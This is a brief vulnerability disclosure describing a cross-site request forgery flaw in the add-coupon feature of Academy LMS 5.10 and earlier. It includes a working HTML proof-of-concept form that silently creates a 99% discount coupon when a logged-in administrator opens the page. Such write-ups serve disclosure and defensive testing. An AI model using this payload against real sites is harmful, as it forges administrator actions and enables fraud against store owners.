
Academy LMS <= 5.10 CSRF
Academy LMS <= 5.10 CSRF
Academy LMS is an application where people can create and advertise courses. The add a coupon feature is vulnerable to CSRF as there is no token which causes this attack to be avoided.
The first step to our proof of concept is to authenticate to the platform with administrative user.
After that, just access the page that contains the code for exploiting the vulnerability, check it out that a new coupon was created automatically.
Code used in the exploit:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://target.com/admin/coupons/add" method="POST">
<input type="hidden" name="code" value="vinix" />
<input type="hidden" name="discount_percentage" value="99" />
<input type="hidden" name="expiry_date" value="12/11/2022" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>